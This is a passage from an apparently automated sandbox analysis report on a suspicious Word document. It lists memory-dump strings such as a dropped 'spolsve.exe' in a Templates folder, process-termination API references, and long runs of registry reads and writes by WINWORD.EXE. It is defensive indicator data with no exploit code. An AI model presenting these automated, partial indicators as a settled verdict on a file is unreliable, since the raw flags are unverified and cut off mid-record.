" (Indicator: "secret"; File: "urlref_httpswww.un.orgencoronaviruscovid-19-faqs")4a:Tcb3,Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\spolsve.exe" (Indicator: "\Device\"; Source: "00000000-00002996.00000000.68546.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip_{90A066FE-591C-47F3-850D-9644B684FBA5}] SEQPACKET 0" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip_{90A066FE-591C-47F3-850D-9644B684FBA5}] DATAGRAM 0" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}] SEQPACKET 3" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}] DATAGRAM 3" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}] SEQPACKET 1" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}] DATAGRAM 1" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9644B684FBA5}] SEQPACKET 2" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9644B684FBA5}] DATAGRAM 2" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "MSAFD NetBIOS [\Device\NetBT_Tcpip6_{90A066FE-591C-47F3-850D-9" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002A0000.00000004.mdmp, 00000000-00003576.00000001.71736.002A0000.00000004.mdmp, 00000000-00003576.00000002.73655.002A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00003576.00000000.69817.002F0000.00000004.mdmp, 00000000-00003576.00000001.71736.002F0000.00000004.mdmp, 00000000-00003576.00000002.73655.002F0000.00000004.mdmp")4b:T6fd,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00003576.00000002.73655.00401000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")4c:T9d5,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "SEARCHLIST"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "NAMESERVER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "NAMESERVER"; Value: "")4d:T13e91,"WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@ARIAL UNICODE MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@BATANGCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DFKAI-SB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DOTUMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@FANGSONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@FZSONG_SUPERFONT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GULIMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GUNGSUH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GUNGSUHCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN BAEKJE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN BAEKJE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SALE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SALE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOLLIP B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOLLIP M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOMANG B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOMANG M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 230"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 240"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 250"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAANSOFT BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAANSOFT DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR DOTUM EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBDAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBDAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYCYSM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYDNKB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYDNKM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGPRM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGTRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYHAESEO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYHWPEQ"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYKANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYKANM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYMJRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYMPRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAMB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAML"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAMM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYPORM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSNRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSUPB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSUPM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYTBRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYWULB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYWULM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@KAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MALGUN GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDALONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDART"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDEASOP"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDGAESUNG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDSOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MEIRYO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MEIRYO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MGUNGHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MGUNGJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MHUNMIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT JHENGHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT JHENGHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT YAHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT YAHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU_HKSCS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU_HKSCS-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MJEMOKBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MJEMOKGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS MINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS PGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS PMINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS UI GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MSUGIHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MSUGIJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@NSIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@PMINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@PMINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMSUN-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BACDOO BOLD "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BELLA MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BLOCK MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BONMOKGAK MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BUTGOT LIGHT "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ CHMSOOT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: 